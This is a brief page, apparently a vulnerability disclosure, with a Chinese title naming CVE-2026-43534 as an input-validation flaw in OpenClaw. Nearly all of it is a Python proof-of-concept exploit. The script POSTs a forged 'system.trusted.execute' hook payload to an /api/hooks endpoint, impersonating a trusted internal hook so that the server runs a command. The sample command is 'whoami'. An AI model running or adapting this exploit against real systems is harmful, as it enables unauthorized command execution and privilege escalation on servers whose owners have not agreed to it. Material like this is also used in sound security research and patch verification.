CVE-2026-43534 OpenClaw 输入验证漏洞

import requests def exploit_openclaw(target_url): """ PoC for CVE-2026-43534 Sends a malicious hook metadata payload to escalate privileges. """ # Malicious payload simulating a trusted hook event payload = { "hook_name": "system.trusted.execute", # Attempting to mimic a trusted internal hook "metadata": { "action": "run_command", "args": "whoami" } } headers = { "Content-Type": "application/json" } try: # Sending the request to the vulnerable endpoint response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully. Check if command execution occurred.") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-openclaw-instance:8080/api/hooks" exploit_openclaw(target)